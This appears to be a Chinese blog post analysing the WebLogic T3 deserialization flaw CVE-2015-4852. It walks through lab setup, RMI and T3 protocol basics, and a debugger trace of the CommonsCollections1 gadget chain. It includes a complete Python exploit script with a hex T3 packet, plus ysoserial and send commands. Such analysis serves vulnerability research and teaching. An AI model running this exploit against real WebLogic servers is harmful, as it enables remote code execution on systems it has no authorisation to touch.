1. 程式人生 > >weblogic之cve-2015-4852分析(重寫)

weblogic之cve-2015-4852分析(重寫)

# 前言 有時間打算分析weblogic歷史漏洞,但是又要面試啥的,沒空。又剛好最近面試會問weblogic反序列化。具體啥時候分析weblogic反序列化,可能會在護網後,或者我開學了再分析。期間可能我會分析一下fastjson的吧。環境我都打包到附件中 # 0x01、環境搭建 不想動手去下載的,可以去網盤這邊,我已經打包好了 連結:https://pan.baidu.com/s/1bOo82tAIC0ia95Z0nKQp5w 提取碼:1234 複製這段內容後開啟百度網盤手機App,操作更方便哦 漏洞環境:https://github.com/QAX-A-Team/WeblogicEnvironment jdk:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html weblogic: **連結:https://pan.baidu.com/s/1I3FUCkuD7lfwdEFo1Yg5hQ 提取碼:ungx** ``` docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 . docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21 ``` ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307110849687-85742946.png) 然後在這裡需要去將一些weblogic的依賴Jar包給匯出來進行遠端除錯 ```shell docker exec -it weblogic1036jdk7u21 /bin/bash cd /u01/app/oracle/ cp -r middleware/ /root/WeblogicEnvironment-master/ 也可以使用如下命令 docker cp 363:/root . mkdir jar_lib find ./ -name *.jar -exec cp {} jar_lib/ \; ``` ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307124024320-145454417.png)這邊就匯出成功了 # 0x02、Weblogic遠端除錯 ## 第一步 修改docker-compose.yml檔案,開啟8453埠 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307111153086-1908017283.png) ## 第二步 ``` cd u01/app/oracle/Domains/ExampleSilentWTDomain/bin/ vi setDomainEnv.sh ``` 新增兩行程式碼 ``` debugFlag="true" export debugFlag ``` 這個環境是預設就有了,所以這邊只是講一下 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307125304716-249861193.png) 最後差不多就這樣了,還有其他地方就參考網上文章,我就不一一講解了 ``` docker exec -it weblogic1036jdk7u21 /bin/bash //進入docker ``` 地址為:http://192.168.92.130:7001/console/login/LoginForm.jsp # 0x03、RMI通訊 在瞭解RMI前還需要弄懂一些概念。 ``` RMI(RemoteMethodInvocation,遠端方法呼叫)是用Java在JDK1.2中實現的,它大大增強了Java開發分散式應用的能力。 ``` Java本身對RMI規範的實現預設使用的是JRMP協議,也可以選擇IIOP協議。而在Weblogic中對RMI規範的實現使用T3協議。 ``` JRMP:JavaRemoteMessageProtocol,Java遠端訊息交換協議。這是執行在Java RMI之下、TCP/IP之上的線路層協議。該協議要求服務端與客戶端都為Java編寫,就像HTTP協議一樣,規定了客戶端和服務端通訊要滿足的規範。 ``` ​ **RMI(Remote Method Invocation)**即Java遠端方法呼叫,RMI用於構建分散式應用程式,RMI實現了Java程式之間跨JVM的遠端通訊。顧名思義,遠端方法呼叫:客戶端比如說是在手機,然後服務端是在電腦;同時都有java環境,然後我要在手機端呼叫服務端那邊的某個方法,這就是,遠端方法呼叫; ​ 使用RMI的時候,客戶端對遠端方法的呼叫就跟對同一個Java虛擬機器(也就是本地)上的方法呼叫是一樣的。一般呼叫和RMI呼叫有一點不同,雖然對客戶端來說看起來像是本地的,但是客戶端的stub會通過網路發出呼叫,所以會丟擲異常;其中還是會涉及到Socket和串流的問題,一開始是本地呼叫,然後就代理(stub)會轉成遠端,中間的資訊是如何從Java虛擬機發送到另外一臺Java虛擬機器要看客戶端和服務端的輔助設施物件所用的協議而定;**使用RMI的時候,需要選擇協議:JRMP或IIOP協議;JRMP是RMI的原生的協議,也就是預設JRMP協議。而IIOP是為了CORBA而產生的**~~~ **遠端方法呼叫,具體怎麼實現呢?** 遠端伺服器提供具體的類和方法,本地會通過**某種方式**獲得遠端類的一個代理,然後通過這個代理呼叫遠端物件的方法,方法的引數是通過序列化與反序列化的方式傳遞的,所以, **1.** 只要服務端的物件提供了一個方法,這個方法接收的是一個Object型別的引數 **2.** 且遠端伺服器的classpath中存在可利用pop鏈,那麼我們就可以通過在客戶端呼叫這個方法,並傳遞一個精心構造的物件的方式來攻擊rmi服務。 某種方式獲得遠端物件的代理,那麼具體是怎麼的實現機制呢?RMI模式中除了有Client與Server,還藉助了一個Registry(註冊中心)。 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313103221617-295747100.png) 其中Server與Registry可以在同一伺服器上實現,也可以佈置在不同伺服器上,現在一個完整的RMI流程可以大概描述為: 1. Registry先啟動,並監聽一個埠,一般為1099 2. Server向Registry註冊遠端物件 3. Client從Registry獲得遠端物件的代理(這個代理知道遠端物件的在網路中的具體位置:ip、埠、識別符號),然後Client通過這個代理呼叫遠端方法,Server也是有一個代理的,Server端的代理會收到Client端的呼叫的方法、引數等,然後代理執行對應方法,並將結果通過網路返回給Client。 直接看圖,話不多說 ![](https://img2020.cnblogs.com/blog/2099765/202101/2099765-20210109143755957-1514225790.png) RMI呼叫遠端方法的大致如下: 1. `RMI客戶端`在呼叫遠端方法時會先建立`Stub(sun.rmi.registry.RegistryImpl_Stub)`。 2. `Stub`會將`Remote`物件傳遞給`遠端引用層(java.rmi.server.RemoteRef)`並建立`java.rmi.server.RemoteCall(遠端呼叫)`物件。 3. `RemoteCall`序列化`RMI服務名稱`、`Remote`物件。 4. `RMI客戶端`的`遠端引用層`傳輸`RemoteCall`序列化後的請求資訊通過`Socket`連線的方式傳輸到`RMI服務端`的`遠端引用層`。 5. `RMI服務端`的`遠端引用層(sun.rmi.server.UnicastServerRef)`收到請求會請求傳遞給`Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)`。 6. `Skeleton`呼叫`RemoteCall`反序列化`RMI客戶端`傳過來的序列化。 7. `Skeleton`處理客戶端請求:`bind`、`list`、`lookup`、`rebind`、`unbind`,如果是`lookup`則查詢`RMI服務名`繫結的介面物件,序列化該物件並通過`RemoteCall`傳輸到客戶端。 8. `RMI客戶端`反序列化服務端結果,獲取遠端物件的引用。 **而更通俗點來說:** ``` 1. 客戶端請求代理 2. Stub編碼處理訊息 3. 訊息傳輸 4. 到達管家skeleton並處理資訊 5. 管家skeleton把資訊提交給server 6. server接收到請求 7. server把請求的結果給管家 8. 管家skeleton把結果轉交給stub 9. 代理Stub對結果解碼 10. Stub把解碼的結果交給client。 ``` 具體可以參考該文章[RMI由淺入深(一)](https://www.cnblogs.com/0x7e/p/14254746.html),那麼我們知道了什麼是RMI通訊。RMI就是對伺服器上的方法進行呼叫。那麼weblogic上的RMI呢,在此處的`cve-2015-4852`是基於RMI T3協議反序列化導致的漏洞。兩者有什麼區別嗎? 兩者其實是一樣的。只是weblogic這邊的rmi通訊用T3協議,只是優化了java rmi。T3傳輸協議是WebLogic的自有協議,Weblogic RMI就是通過T3協議傳輸的(可以理解為序列化的資料載體是T3)。 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313110037531-1681583274.png) Java RMI預設使用的專有傳輸協議(或者也可以叫做預設協議)是JRMP,Weblogic RMI預設使用的傳輸協議是T3。T3協議對序列化的過程,包括一些特性,心臟跳動等等,進行了一些列優化,並且對rmi客戶端量進行了增加等等 # 0x04、從歷史長河探究cve-2015-4852 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307143956797-1532270028.png) 摘取一張圖,具體從哪裡拿的,我也給忘記了,翻閱了太多文章了。可以看出這個cve-2015-4852是這些的祖宗。那我們從這個祖宗開始分析。從漏洞型別這邊看,我們知道這個是T3反序列化漏洞,也就是說,是因為T3協議,從而導致的反序列化漏洞;那我們無可避免的去看看T3協議是什麼東西 ## 1、T3協議概述 WebLogic Server 中的 RMI 通訊使用 T3 協議在 WebLogic Server 和其他 Java 程式(包括客戶端及其他 WebLogic Server 例項)間傳輸資料。同時T3協議包括 1. 請求包頭 2. 請求主體 因此,在T3資料包構造過程中,需要傳送兩部分的資料。 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307153843180-97941712.png) 我們通過部署好的環境,以及[現成的payload](https://www.anquanke.com/post/id/219985#h3-13),去看看這個協議包情況 ## 2、T3協議 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307154238105-472242707.png) ``` t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001 ``` 可以看出這是它的請求頭。,本文測試時傳送的T3協議頭為 ``` t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n 第一行為“t3”加weblogic客戶端的版本號。 ``` weblogic伺服器的返回資料為 ``` HELO:10.3.6.0.false\nAS:2048\nHL:19\n\n 第一行為“HELO:”加weblogic伺服器的版本號 ``` weblogic客戶端與伺服器傳送的資料均以“\n\n”結尾。 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307160852667-465177409.png) 可能會問這個地方和其他地方的T3協議怎麼不一樣?因為我用的exp中,它是偽造自定義了請求包的。可參考[文章](https://blog.csdn.net/weixin_45728976/article/details/105063410)。 也就是說,如何判斷對方是否使用T3協議等等,可以對伺服器進行發包,傳送請求頭,對方則會返回weblogic伺服器版本 ## 3、T3攻擊方式 - 第一種:將weblogic傳送的java序列化資料的地2到第7部分的反序列化資料進行替換 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307161834472-667120481.png) - 第二種:將weblogic傳送的JAVA序列化資料的第一部分與惡意的序列化資料進行拼接。也就是替換第一部分的資料 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307162400442-528006101.png) ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307163345406-1392976202.png) 以上來自網上文獻:http://drops.xmd5.com/static/drops/web-13470.html 那麼我們就來驗證一下,由於我此處是現成exp,所以進行替換序列化資料進行攻擊的時候,可能數量不一樣 也就是說,我們的傳送的T3協議,可以簡單的理解為兩部分:非序列化資料,和序列化資料。而序列化部分又以ac ed繼續進行劃分 # 0x05、cve-2015-4852 分析 現在我們理論概念瞭解的差不多了,我們這邊就驗證一下序列化內容是否跟我們猜想的一致 python exp程式碼: ```python #!/usr/bin/python import socket import struct import sys sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (sys.argv[1], int(sys.argv[2])) print 'connecting to %s port %s' % server_address sock.connect(server_address) # Send headers headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' print 'sending "%s"' % headers sock.sendall(headers) data = sock.recv(1024) print >>sys.stderr, 'received "%s"' % data payloadObj = open(sys.argv[3],'rb').read() payload='\x00\x00\x09\xe4\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00' payload=payload+payloadObj payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78' print 'sending payload...' payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:]) #print len(payload) outf = open('pay.tmp','w') outf.write(payload) outf.close() sock.send(payload) ``` yso生成惡意程式碼: ``` java -jar ysoserial.jar CommonsCollections1 "touch /file/22222.txt" > payload.tmp ``` ![python](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313112041913-465469411.png) ```cmd python2 exp.py 192.168.92.130 7001 payload.tmp ``` ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313112317328-843156254.png) 根據補丁位置,是在這幾個地方進行新增判斷,那我們直接在`InboundMsgAbbrev#readObject()`下斷點。因為要rce的話必須要`readObject()`進行反序列化 ``` wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev wlthint3client.jar:weblogic.rjvm.MsgAbbrevInputStream weblogic.jar:weblogic.iiop.Utils ``` 我們在`InboundMsgAbbrev`類中,Ctrl+f查詢readObject,然後在此處下斷點。 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164036476-1259561731.png) 然後使用exp去傳送惡意請求,然後我們去看看斷點位置 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164146901-1981433324.png) ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164447344-871178500.png) ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164538018-1264901386.png) 可以看出這邊`var1`裡面儲存的是我們請求的內容,然後呼叫`read()`方法,賦值給`var2`. 我們進入`read()`看看是什麼東西 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164947775-1303981133.png) 這邊為-1,所以會呼叫父類的read()方法,那麼我們看看這個類繼承了什麼父類 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313112852896-668195403.png) 所以我們知道它會跳到`ChunkedDataInputStream#read()`方法中。我們F7跟進去檢視 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313112947659-1019929848.png) ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313113136908-1638385186.png) 這邊我們可以思考是不是這些序列化資料的大小呢? ![img](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164447344-871178500.png) ![img](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164538018-1264901386.png) 因為是false,所以直接跳過這個條件,進入了return; ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313113835004-400595980.png) 然後返回給了var2中 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313114443918-452376711.png) 此處通過switch對`var2`值進行判斷,此處為0,所以進入了第一個條件語句 ``` return (new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject(); ``` 那麼我們先進入`InboundMsgAbbrev#ServerChannelInputStream()`中檢視虛實 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313114904376-1636608201.png) 進入後,繼續深入`getServerChannel()` ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313115930724-1114402531.png) `this.connection`之中儲存著一些連線的資料,如地址,埠等等,然後呼叫`getChannel()`,這邊是處理T3協議的socket地方;我們F7跟進檢視 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313174531252-777878097.png) 我們進入之後可以看到還有靜態程式碼塊,而這靜態程式碼塊則是伺服器返回過來的版本,我們繼續看看 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313174758860-1229586491.png) 隨後會return 回這串地址,埠資訊。我們再f8返回 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313174914741-1276532184.png) 我們跳了三層,返回到之前的路口點,那麼接下來我們就是進入`InboundMsgAbbrev#readObject()`中 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313175108329-1404024263.png) 此處我們跳到了`read()`當中,因為前面的不重要,我們也不需要深究了 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313175217839-1755342335.png) 這邊再次進入到父類中的`read()`方法中,我們依舊進入到了`ChunkedInputStream# read()`,該方法主要是讀取head資料也就是我們傳送的包 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313175602803-1570267495.png) 隨後繼續返回到了上一步 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313175737751-1641030482.png) 幾次的F7和F8後,進入了`read(byte[] var1, int var2, int var3)`中 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313180125809-1464637227.png) 因為條件不成立,所以繼續進入return當中,我們F7跟進 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313180703701-84781939.png) 往後執行,可以發現這幾個方法是對資料流進行分塊處理,將序列化部分分塊,依次解析每塊的類,然後去執行 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313181911849-985507258.png) 我們直接在`InboundMsgAbbrev#resolveClass()`方法下個斷點,而此處,也就是打補丁的地方,此處打上補丁,從而出現了cve-2016-0638;這是後話。而我們看到了`AnnotationInvocationHandler`。這不就是CC1中的反序列化入口點嗎,我們進入看看 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313182206647-297176756.png) ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313182233118-1276912754.png) 可以看到一個很有意思的地方,那就是`Class.forname()`,通過反射獲取載入指定的類。 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313182548527-210612156.png) ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313182653395-1222402985.png) 而這之後執行,我們可以發現這些獲取的都是CC1利用鏈中所需要的類。這就很有意思了~~ ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313182922450-1522953871.png) F9不斷的執行結束後可以發現,這邊建立了該檔案。那麼我們重新發包一下,直到遇到`java.lang.Override`不按F9了。我們直接F7一步步慢慢的看 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313183548886-808568655.png) 我們可以看到這不就是CC1鏈中的觸發方法嗎??這裡就很佩服大佬們了 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313183750947-1903539114.png) # 0x05 漏洞原理與總結 從入口點開始`weblogic.rjvm.InboundMsgAbbrev#readObject`方法開始。通過`read()`方法,讀取T3資料流的序列化部分依次分塊解析類。`InboundMsgAbbrev#resolveClass()`內部使用`Class.forName`來從類序列化獲取到對應類的一個Class的物件。進行相對應的點例項化並讀取了`AnnotationInvocationHandler`觸發了此處CC1的利用鏈。最後在`AbstractMapDecorator#entrySet()`方法觸發,達到了rce目的。此漏洞之後有必要再看看,咳咳 ![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210308110936285-1504125